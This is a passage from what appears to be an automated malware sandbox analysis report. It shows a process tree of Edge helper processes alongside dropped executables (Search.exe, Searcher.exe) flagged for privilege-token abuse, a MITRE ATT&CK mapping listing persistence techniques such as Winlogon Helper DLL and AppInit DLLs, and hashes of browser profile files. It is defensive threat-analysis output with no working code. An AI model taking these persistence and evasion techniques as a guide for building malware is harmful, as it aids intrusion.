      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,198910359422433878,10014220658326094792,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
      4⤵
      PID:1376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,17119619909462698215,18170184241152394801,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
      4⤵
      PID:5368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,6745850022573818977,14535277526929612839,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:14
      4⤵
      Loads dropped DLL
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:5280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,4068782567223314326,16496161263298765113,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:12
      4⤵
      PID:944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6820,i,17732051015296529024,3911229669465428997,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
      4⤵
      PID:7128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6820,i,17732051015296529024,3911229669465428997,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
      4⤵
      PID:7136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6980,i,10605237266186907807,969224475623263399,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
      4⤵
      PID:5488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7132,i,945087449342519422,18082190799060015041,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=7136 /prefetch:14
      4⤵
      PID:6796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7144,i,10880519331409542688,2397206657838547960,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
      4⤵
      PID:6988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5424,i,269627448766936873,4551124524368843315,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=7184 /prefetch:14
      4⤵
      PID:6964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,6591142908719267848,928876204275696021,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:14
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:6440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,4311310409150036670,11876474132270176234,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:6456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5200,i,17671961393091285063,17070321512764681265,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:14
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:6448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3552,i,16307442744452356128,9328714643892319064,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
      4⤵
      PID:6800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,13394671841134831036,7718149447014899862,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=7068 /prefetch:14
      4⤵
      PID:6336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3892,i,9403452281661808934,251350010442542243,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:14
      4⤵
      PID:2740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6748,i,18163218611796375023,3625280822554103118,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
      4⤵
      PID:7136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5752,i,16533852583573586252,1825554634249017335,262144 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=7300 /prefetch:10
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:5096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3772,i,1306049986850731786,5061346695167175668,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
      4⤵
      PID:4256

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:620

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3844

C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe
C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:6652

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:6212

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 719f844e62c5a3916fba05dc2f32d02dadec54c424efb41ba161d1fca59227ae
MD5 e633a9ff8da83df3b4dca0ad6f30e5d9
SHA1 610df135117504b2857ee3cc03a5ac9797b10333
SHA512 56404607616c88e3d1268893aa0c748db1db04fe698a8f5d214c6a2a533823ff606c3f2a3f007d08bc16bd8838597597f9fdcfe0f631495c1928104ff11d002f
TLSH
T16BD0C0303948E188C9832172DCA033117310007020B147054031F42CCE2049323DF5CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 67b546fed422708faf33930b82ff4826bc323bc64f67af30b02bb9e565fa27ee
MD5 04925ec9b8ab191e010732cba0eeefe1
SHA1 a6847bd1b4e86ab3cf9f2a8e109e78b04f51204d
SHA512 25e65b33281d8c58aaf4bad265d912d01bcadd9284dc1ce818ccc1dcf59200f57de5e8d8f4ce5ef6da06c777b54dd4dbee7a3aad7a16da9542538e92104e9c68
TLSH
T1C7D0C0343948E288C9832172DCA033117320007074B147054031B41CCE2049323DF5CF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 e24a89319a2f34b1f2618d960a7167e32a131d79298cbe8e50e4598811aded75
MD5 4ff7c02f0040565b1d725f881476a8e0
SHA1 6a1b7c2f01566f9f0aad3a4c0496a463959de10e
SHA512 1d2a888fc46f67ff7b079894685b0b564b60d292c7a1be3ba198722c3b20532007c3e60ded59b56d18ee6538da9b8d583dfe48ee3a6b1a407312d9d0c3002803
SSDEEP 96:Q3508qoOnxZViiCz2TuFhxGM+DGGpS6PHI4yHQ/qa81pG3jYol/8ga5cW9twR:iimOxHiiCz2TuduDK6PHJyTRpGomR
TLSH
T1C7F14F8066AEDBD9CF6C59B7A7D2CCDBF9384827158B1EC7413082709706BA94DF4849
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5a3605.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3605.TMP
Size 2KB
SHA256 3a81b865b6c21ebb282279f05aedf718d374660f4870c81ca4aaf2d8dd67636a
MD5 9eb7b8ed50187e3c6b41ecea86815bd1
SHA1 b3dea16cceed92d02d285d6fba950d9873f7ef9b
SHA512 5b2a1319a819e7913020d4cdb41472d74d97aa11cff67bda63deeb33d7eb3a496f2def5808e1a52523c0a2fbd5ed685d0e3b17254ec4bbe90ba762e6c98d24e2
TLSH
T13D51B8C0A3ADFEF9C3A45C703AD208CD7A7C8C5B678B6E1881706170191A73E42EC0D6
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 c6a946e95841f161530908baa57ad201dba4732fef9913e5db310514c7329ac8
MD5 ac0d3809b871fb9d1e48528e00caafd2
SHA1 13b39f0c20cfebfe915911b14d9661fc9a4a4583
SHA512 48df3d11258aea87030da471adc8afaeb9486209d6b2d7c1099edfa0762a7f2cb8690592b39e554c7e0ce0b710dce82d4a199664e6230ab60e13d56974b8f622
TLSH
T12371DEF3C7E8862DC94196F0AB147E1FCE2C0924432C3D6EC8E4AE5B93E2571E14165E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 e020f087911204ed9293ab855ce77f39225f5a6ba13c70ef4d05d5a016af4373
MD5 42e8e0583043befe9563c16296d942c9
SHA1 e409d8ea200277913b9dbb62ddfcee92b35fed52
SHA512 38eef131880e56b0d52a1ad6443000b7ef8d68764bd4b23a9a12cb4ac5a0e919d3f4e8b502de7aa6a97fe214ad5c5b62a9c3b98a17997e53dad80caef3a52122
TLSH
T1C461B0F7C7E8862DC94556F0AB147E1FCE1D0924432C3D6AC8E4AE5B93E2471E14165E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 1f252874aa44065a7d2ae44da708dc21bd859b2d7a173fa3d167ad7fc60ab19b
MD5 f600888ec4caaae26f57e20992a11500
SHA1 0c47e63b32cea8db7dc72445b93a4da285df08e1
SHA512 f9557cdaa1c366989d58b283fcc69a58ecdda59f6f939f1e4bc9997ddd33b158cc3301befe0946f1deaedd461c633c75ef4972a3b1000a0586367856b572bdc1
SSDEEP 192:sxR/MRWyM/jK1Ml8wC0/f5saaS/uDzoA8plL/g6+WNp3U/YZ7Q4sZGUIgVPwJ:sxRE480/f5saaSmy5/5m//L2
TLSH
T13062D915AA249D77CCDBD20DFA55BB53D6F81563A2900E44AAFC9A1C00E7BED2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 613cc66c1b82455b97287d7a2a0af3893243e3440ec055aee6445555e0e93a1f
MD5 685e4104eb3d0834cf4d38550a06a4c8
SHA1 5b4f6535fe45da6b2da21d9397d383f4bacf63f1
SHA512 4b290671e518c1ed261e6e17d7f28543728f87c611e739f9a927c65051e0963154c6fed2241d723160be93a2a567d278f178b1149df8109f02306a11927fb711
SSDEEP 192:sxR/TRWyM/jK1Ml8UQUC0/f5svalLZIwxDzoA8pTL/g6+WNp3U/YZ7QXEsZGUIgk:sxRL4qD0/f5svallIEyX/5m/LvLk
TLSH
T13662D815AA349D7BCCDBD20DFA51BB53D6F8156391904E44AAFCDA0C00E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 65b53e709f05b1ee48ec083fac90ec4b76eb6ea65acad0a4c294852a47187759
MD5 28a8c8b1cfb73d38643e77c3ba484d80
SHA1 7b5485781ef802a3e5bc6cb90dd27aba4600f465
SHA512 89900730cad089a9b768c65557fe9caa7fafd0debe66b65ce1101e06c225bbf7302e1e1fa3d0e7fb17fee618ff337282f955a63df375adb1c2e1c4995e6b8add
SSDEEP 192:sxR/TRWyM/jK1Ml8wC0/f5svaSLZIwxDzoA8plL/g6+WNp3U/YZ7Q4sZGUIgDZ8F:sxRL480/f5svaSlIEy5/5m//L+
TLSH
T16562D815AA349D7BCCDBD20DFA557B53D6F8156392904E44AAFC9A0C00E6BED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 ab2e3c1b52d15a436f1cea6bf5aba270afed029a9841db19cc4062f5d9909137
MD5 f35349229fa9069ed07a6ac12a5c08ca
SHA1 2934f63b6825cafb2bd279596503b756bce56650
SHA512 5574a847ecda627c32a8c874e0af2132062dd126985e700fd4b913958005dacd5384131d7982d388abadbbead83270e3056641ccfa7652575ce1b271f97301e0
SSDEEP 768:kfISRS7pLuL7CvWgd5fMb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXiGSV2sroHh0Py:kfISRqE7CvWgd5fMbu1jaAiGU23Hh0Py
TLSH
T180E2ED7B640CCB7F4F8049DCEC297E9AADA802CB96D8CD9447EA840C03C66EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 e1d05d8454e6eb0de1895fa2510726a0797bed4644e7c42bda1225f6f66b5415
MD5 297f5dae2ebc2fedbd05c7b389afa30d
SHA1 1b2e904864d8bbfe45aaa18880c2d1bd0e3ef8c9
SHA512 60645a6a88c2ef5856e0234dbe264e3972810cc44f56910144a3c3ac150fc982455bfaf68ea5ebccaee9bb9b7159abe265083af8bde24f6d420ca6a24e816f64
TLSH
T1D8D0A797E59204A1DBB70FA20E2211AE86242C8455C55198A10B7A299478A83D212E96
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 9f54822394884a9b4c3ff7dde2d7fe56574d4d116ed160cc6fc57e9b9adcdd79
MD5 0c6cc970dad0efd0388a6aa677f1b189
SHA1 985e580cf3f660df5a838e16a9dd0d44988baea7
SHA512 9a3fd9b82349001b59d75f49ca327e1c0f0c3769088a87ac43d78b40db7341bb56547e5d82ac4fb7f259962875a73b5dcf4a3d343543e6ce019f27c05b09f298
TLSH
T1CFD02393E08000E1CBFB0FD20F1201BE82203CC451C54088710F4B35C848BC3D203E92
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe59c73e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe59c73e.TMP
Size 138B
SHA256 56c645ceb439d771ad33df1221111080b2b9ad7c4f3150f34361ab052f6eedd6
MD5 ba1e43286fe467314b0ffc0661914b39
SHA1 037b8b76ec33824569c40b1ed2f83400569f960b
SHA512 1fc07a39c952872fe420698494a362c4e92eaf0da7f08590e9055037a8b837ba3e4b60c3bcaca9979d4cef9044cf126195b219433437dd5d18fa935e46573cfd
TLSH
T1CAC02BE3F38000B1DF5506920B32402C87182CCC89C6848C610F75352038F637303EF1
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 f242f978b0ffa67376a22a53ac24a116567e34e2282f8078f722ed8578b604e8
MD5 6134fb962e8b2ea6fae65eb8ad618735
SHA1 00a21e9ea5081ff3974024f7d41619cc4cee1cda
SHA512 51bdd5e0ce230fc3b78970fb67517b7f035c676e5e6e5dd80903dc8fa971a4b16df63d03c94fef1d75b84c6eb7869aecefbd1914611a579ba1360e4661677b68
SSDEEP 96:KwDaKMEemvCKIkzLuKQs6y8IKZeWvSKAUOg:cJh5VTshg
TLSH
T19DD10046B17B025038BF241D90A5CA56DAC270B3311CE82BBBE904F64B6AF515EFDDC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

39bd808f-73d2-4027-a4b5-7cbf18d98365.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\39bd808f-73d2-4027-a4b5-7cbf18d98365.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 227a58a99d3ccf31655f9ef07a6abff5d2218c35d04f7b09a265cd7c633d7791
MD5 ee456f00d3a63c58d2dafa1e6357047f
SHA1 e8889320facca0da931ef4df1b73531ced7bbd30
SHA512 21d440e765bc43fbf36f8a34cb1bb7f835d6650852a1c498555945a17d48954d437b16c205dd4cd5043b20373412bdb50e6779d497904b1b1c3be6712d79253b
SSDEEP 384:nViFWZcIZh38Nt8TUNTUlIl2jWmiv9kPIEf0Rz8ZzWmkA1QiZh6vPqQMQYeJfjWd:cFEj3CwgGEDAam6aQMGdjWca4Ghf9p9n
TLSH
T133F26C319CA4D977ACE79786B71A7687EDF011B388C88DC4DAD96E0D01931DE270BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 dea5e1e039842dcad91dca6cae6cdee89bf880612ef740d97e20d420b2d4e81b
MD5 634a44fd8105dccc98e19844623961aa
SHA1 70b8b3b58c32a000d9422dd29a457e224cef6d6c
SHA512 682a0b98ebc0611c2ba123d22466671aa21dc40d29f58b78fbafa744d7931dd680c33cdfe95f161169e2e34edb1c9092d1eef988851cf3b9557ab46a312e36f1
